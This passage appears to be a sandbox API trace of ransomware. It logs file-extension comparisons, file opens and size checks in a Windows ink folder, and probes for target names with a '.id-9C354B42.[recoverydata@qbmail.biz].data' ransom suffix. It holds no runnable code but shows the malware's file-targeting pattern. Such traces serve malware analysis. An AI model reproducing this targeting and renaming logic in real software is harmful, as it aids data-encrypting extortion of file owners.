Files\\Microsoft Shared\\ink\\ipshrv.xml") returned 61 [0086.546] lstrlenW (lpString=".dbf") returned 4 [0086.546] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0086.546] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml") returned 61 [0086.546] lstrlenW (lpString=".1cd") returned 4 [0086.547] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0086.547] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml") returned 61 [0086.547] lstrlenW (lpString=".jpg") returned 4 [0086.547] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0086.547] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml") returned 61 [0086.547] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml") returned 61 [0086.547] lstrlenW (lpString=".doc") returned 4 [0086.547] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0086.547] lstrlenW (lpString=".docx") returned 5 [0086.547] lstrcmpiW (lpString1=".docx", lpString2="v.xml") returned -1 [0086.547] lstrlenW (lpString=".pdf") returned 4 [0086.547] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0086.548] lstrlenW (lpString=".xls") returned 4 [0086.548] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0086.548] lstrlenW (lpString=".xlsx") returned 5 [0086.548] lstrcmpiW (lpString1=".xlsx", lpString2="v.xml") returned -1 [0086.548] lstrlenW (lpString=".ppt") returned 4 [0086.548] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0086.548] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml") returned 61 [0086.548] lstrlenW (lpString=".zip") returned 4 [0086.548] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0086.548] lstrlenW (lpString=".rar") returned 4 [0086.548] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0086.548] lstrlenW (lpString=".bz2") returned 4 [0086.548] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0086.548] lstrlenW (lpString=".7z") returned 3 [0086.549] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0086.549] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml") returned 61 [0086.549] lstrlenW (lpString=".dbf") returned 4 [0086.549] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0086.549] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml") returned 61 [0086.549] lstrlenW (lpString=".1cd") returned 4 [0086.549] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0086.549] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml") returned 61 [0086.549] lstrlenW (lpString=".jpg") returned 4 [0086.549] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0086.550] lstrcmpiW (lpString1=".xml", lpString2=".data") returned 1 [0086.550] lstrlenW (lpString="ipsita.xml") returned 10 [0086.550] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsita.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0086.550] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x2ccff1c | out: lpFileSize=0x2ccff1c*=2526) returned 1 [0086.550] CloseHandle (hObject=0x194) returned 1 [0086.551] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsita.xml")) returned 0x20 [0086.551] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsita.xml.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0086.551] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsita.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0086.551] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml") returned 61 [0086.551] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml") returned 61 [0086.551] lstrlenW (lpString=".doc") returned 4 [0086.551] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0086.551] lstrlenW (lpString=".docx") returned 5 [0086.551] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0086.551] lstrlenW (lpString=".pdf") returned 4 [0086.551] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0086.552] lstrlenW (lpString=".xls") returned 4 [0086.552] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0086.552] lstrlenW (lpString=".xlsx") returned 5 [0086.552] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0086.552] lstrlenW (lpString=".ppt") returned 4 [0086.552] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0086.552] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml") returned 61 [0086.552] lstrlenW (lpString=".zip") returned 4 [0086.552] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0086.552] lstrlenW (lpString=".rar") returned 4 [0086.552] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0086.552] lstrlenW (lpString=".bz2") returned 4 [0086.552] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0086.552] lstrlenW (lpString=".7z") returned 3 [0086.552] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0086.552] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml") returned 61 [0086.552] lstrlenW (lpString=".dbf") returned 4 [0086.552] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0086.553] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml") returned 61 [0086.553] lstrlenW (lpString=".1cd") returned 4 [0086.553] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0086.553] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml") returned 61 [0086.553] lstrlenW (lpString=".jpg") returned 4 [0086.553] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0086.553] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml") returned 61 [0086.553] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml") returned 61 [0086.553] lstrlenW (lpString=".doc") returned 4 [0086.553] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0086.553] lstrlenW (lpString=".docx") returned 5 [0086.553] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0086.553] lstrlenW (lpString=".pdf") returned 4 [0086.553] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0086.553] lstrlenW (lpString=".xls") returned 4 [0086.553] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0086.553] lstrlenW (lpString=".xlsx") returned 5 [0086.553] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0086.553] lstrlenW (lpString=".ppt") returned 4 [0086.553] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0086.553] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml") returned 61 [0086.553] lstrlenW (lpString=".zip") returned 4 [0086.553] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0086.553] lstrlenW (lpString=".rar") returned 4 [0086.553] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0086.553] lstrlenW (lpString=".bz2") returned 4 [0086.554] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0086.554] lstrlenW (lpString=".7z") returned 3 [0086.554] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0086.554] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml") returned 61 [0086.554] lstrlenW (lpString=".dbf") returned 4 [0086.554] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0086.554] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml") returned 61 [0086.554] lstrlenW (lpString=".1cd") returned 4 [0086.554] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0086.554] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml") returned 61 [0086.554] lstrlenW (lpString=".jpg") returned 4 [0086.554] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0086.554] lstrcmpiW (lpString1=".xml", lpString2=".data") returned 1 [0086.554] lstrlenW (lpString="ipsjpn.xml") returned 10 [0086.554] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsjpn.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0086.555] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x2ccff1c | out: lpFileSize=0x2ccff1c*=2522) returned 1 [0086.555] CloseHandle (hObject=0x194) returned 1 [0086.555] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsjpn.xml")) returned 0x20 [0086.555] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsjpn.xml.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0086.555] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsjpn.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0086.555] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml") returned 61 [0086.555] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml") returned 61 [0086.555] lstrlenW (lpString=".doc") returned 4 [0086.555] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0086.555] lstrlenW (lpString=".docx") returned 5 [0086.555] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0086.555] lstrlenW (lpString=".pdf") returned 4 [0086.555] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0086.556] lstrlenW (lpString=".xls") returned 4 [0086.556] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0086.556] lstrlenW (lpString=".xlsx") returned 5 [0086.556] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0086.556] lstrlenW (lpString=".ppt") returned 4 [0086.556] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0086.556] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml") returned 61 [0086.556] lstrlenW (lpString=".zip") returned 4 [0086.556] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0086.556] lstrlenW (lpString=".rar") returned 4 [0086.556] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0086.556] lstrlenW (lpString=".bz2") returned 4 [0086.556] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0086.556] lstrlenW (lpString=".7z") returned 3 [0086.556] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0086.556] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml") returned 61 [0086.556] lstrlenW (lpString=".dbf") returned 4 [0086.556] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0086.557] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml") returned 61 [0086.557] lstrlenW (lpString=".1cd") returned 4 [0086.557] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0086.557] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml") returned 61 [0086.557] lstrlenW (lpString=".jpg") returned 4 [0086.557] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0086.557] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml") returned 61 [0086.557] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml") returned 61 [0086.557] lstrlenW (lpString=".doc") returned 4 [0086.557] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0086.557] lstrlenW (lpString=".docx") returned 5 [0086.557] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0086.557] lstrlenW (lpString=".pdf") returned 4 [0086.557] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0086.557] lstrlenW (lpString=".xls") returned 4 [0086.557] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0086.557] lstrlenW (lpString=".xlsx") returned 5 [0086.557] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0086.557] lstrlenW (lpString=".ppt") returned 4 [0086.557] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0086.557] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml") returned 61 [0086.557] lstrlenW (lpString=".zip") returned 4 [0086.557] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0086.557] lstrlenW (lpString=".rar") returned 4 [0086.557] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0086.558] lstrlenW (lpString=".bz2") returned 4 [0086.558] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0086.558] lstrlenW (lpString=".7z") returned 3 [0086.558] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0086.558] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml") returned 61 [0086.558] lstrlenW (lpString=".dbf") returned 4 [0086.558] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0086.558] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml") returned 61 [0086.558] lstrlenW (lpString=".1cd") returned 4 [0086.558] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0086.558] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml") returned 61 [0086.558] lstrlenW (lpString=".jpg") returned 4 [0086.558] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0086.558] lstrcmpiW (lpString1=".xml", lpString2=".data") returned 1 [0086.558] lstrlenW (lpString="ipskor.xml") returned 10 [0086.558] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipskor.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0088.595] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x2ccff1c | out: lpFileSize=0x2ccff1c*=2568) returned 1 [0088.595] CloseHandle (hObject=0x20c) returned 1 [0088.596] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipskor.xml")) returned 0x20 [0088.596] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipskor.xml.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0088.596] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipskor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0088.596] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml") returned 61 [0088.596] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml") returned 61 [0088.596] lstrlenW (lpString=".doc") returned 4 [0088.596] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0088.596] lstrlenW (lpString=".docx") returned 5 [0088.597] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0088.597] lstrlenW (lpString=".pdf") returned 4 [0088.597] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0088.597] lstrlenW (lpString=".xls") returned 4 [0088.597] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0088.597] lstrlenW (lpString=".xlsx") returned 5 [0088.597] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0088.597] lstrlenW (lpString=".ppt") returned 4 [0088.597] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0088.597] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml") returned 61 [0088.597] lstrlenW (lpString=".zip") returned 4 [0088.597] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0088.597] lstrlenW (lpString=".rar") returned 4 [0088.597] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0088.597] lstrlenW (lpString=".bz2") returned 4 [0088.598] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0088.598] lstrlenW (lpString=".7z") returned 3 [0088.598] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0088.598] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml") returned 61 [0088.598] lstrlenW (lpString=".dbf") returned 4 [0088.598] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0088.598] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml") returned 61 [0088.598] lstrlenW (lpString=".1cd") returned 4 [0088.598] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0088.598] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml") returned 61 [0088.598] lstrlenW (lpString=".jpg") returned 4 [0088.598] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0088.598] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml") returned 61 [0088.598] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml") returned 61 [0088.598] lstrlenW (lpString=".doc") returned 4 [0088.598] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0088.598] lstrlenW (lpString=".docx") returned 5 [0088.598] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0088.598] lstrlenW (lpString=".pdf") returned 4 [0088.598] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0088.598] lstrlenW (lpString=".xls") returned 4 [0088.598] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0088.598] lstrlenW (lpString=".xlsx") returned 5 [0088.599] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0088.599] lstrlenW (lpString=".ppt") returned 4 [0088.599] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0088.599] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml") returned 61 [0088.599] lstrlenW (lpString=".zip") returned 4 [0088.599] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0088.599] lstrlenW (lpString=".rar") returned 4 [0088.599] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0088.599] lstrlenW (lpString=".bz2") returned 4 [0088.599] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0088.599] lstrlenW (lpString=".7z") returned 3 [0088.599] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0088.599] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml") returned 61 [0088.599] lstrlenW (lpString=".dbf") returned 4 [0088.599] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0088.600] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml") returned 61 [0088.600] lstrlenW (lpString=".1cd") returned 4 [0088.600] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0088.600] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml") returned 61 [0088.600] lstrlenW (lpString=".jpg") returned 4 [0088.600] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0088.601] lstrcmpiW (lpString1=".xml", lpString2=".data") returned 1 [0088.601] lstrlenW (lpString="ipsptb.xml") returned 10 [0088.601] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptb.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0088.601] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x2ccff1c | out: lpFileSize=0x2ccff1c*=2246) returned 1 [0088.602] CloseHandle (hObject=0x20c) returned 1 [0088.602] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptb.xml")) returned 0x20 [0088.602] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptb.xml.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0088.602] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptb.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0088.602] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml") returned 61 [0088.602] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml") returned 61 [0088.602] lstrlenW (lpString=".doc") returned 4 [0088.602] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0088.602] lstrlenW (lpString=".docx") returned 5 [0088.602] lstrcmpiW (lpString1=".docx", lpString2="b.xml") returned -1 [0088.603] lstrlenW (lpString=".pdf") returned 4 [0088.603] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0088.603] lstrlenW (lpString=".xls") returned 4 [0088.603] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0088.603] lstrlenW (lpString=".xlsx") returned 5 [0088.603] lstrcmpiW (lpString1=".xlsx", lpString2="b.xml") returned -1 [0088.603] lstrlenW (lpString=".ppt") returned 4 [0088.603] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0088.603] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml") returned 61 [0088.603] lstrlenW (lpString=".zip") returned 4 [0088.603] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0088.603] lstrlenW (lpString=".rar") returned 4 [0088.603] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0088.603] lstrlenW (lpString=".bz2") returned 4 [0088.603] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0088.604] lstrlenW (lpString=".7z") returned 3 [0088.604] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0088.604] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml") returned 61 [0088.604] lstrlenW (lpString=".dbf") returned 4 [0088.604] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0088.604] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml") returned 61 [0088.604] lstrlenW (lpString=".1cd") returned 4 [0088.604] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0088.604] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml") returned 61 [0088.604] lstrlenW (lpString=".jpg") returned 4 [0088.604] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0088.604] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml") returned 61 [0088.604] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml") returned 61 [0088.605] lstrlenW (lpString=".doc") returned 4 [0088.605] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0088.605] lstrlenW (lpString=".docx") returned 5 [0088.605] lstrcmpiW (lpString1=".docx", lpString2="b.xml") returned -1 [0088.605] lstrlenW (lpString=".pdf") returned 4 [0088.605] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0088.605] lstrlenW (lpString=".xls") returned 4 [0088.605] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0088.605] lstrlenW (lpString=".xlsx") returned 5 [0088.605] lstrcmpiW (lpString1=".xlsx", lpString2="b.xml") returned -1 [0088.605] lstrlenW (lpString=".ppt") returned 4 [0088.605] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0088.605] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml") returned 61 [0088.605] lstrlenW (lpString=".zip") returned 4 [0088.605] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0088.605] lstrlenW (lpString=".rar") returned 4 [0088.605] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0088.605] lstrlenW (lpString=".bz2") returned 4 [0088.605] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0088.605] lstrlenW (lpString=".7z") returned 3 [0088.605] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0088.606] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml") returned 61 [0088.606] lstrlenW (lpString=".dbf") returned 4 [0088.606] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0088.606] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml") returned 61 [0088.606] lstrlenW (lpString=".1cd") returned 4 [0088.606] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0088.606] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml") returned 61 [0088.606] lstrlenW (lpString=".jpg") returned 4 [0088.606] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0088.606] lstrcmpiW (lpString1=".xml", lpString2=".data") returned 1 [0088.606] lstrlenW (lpString="ipsptg.xml") returned 10 [0088.606] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptg.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0088.607] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x2ccff1c | out: lpFileSize=0x2ccff1c*=2240) returned 1 [0088.607] CloseHandle (hObject=0x20c) returned 1 [0088.607] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptg.xml")) returned 0x20 [0088.607] 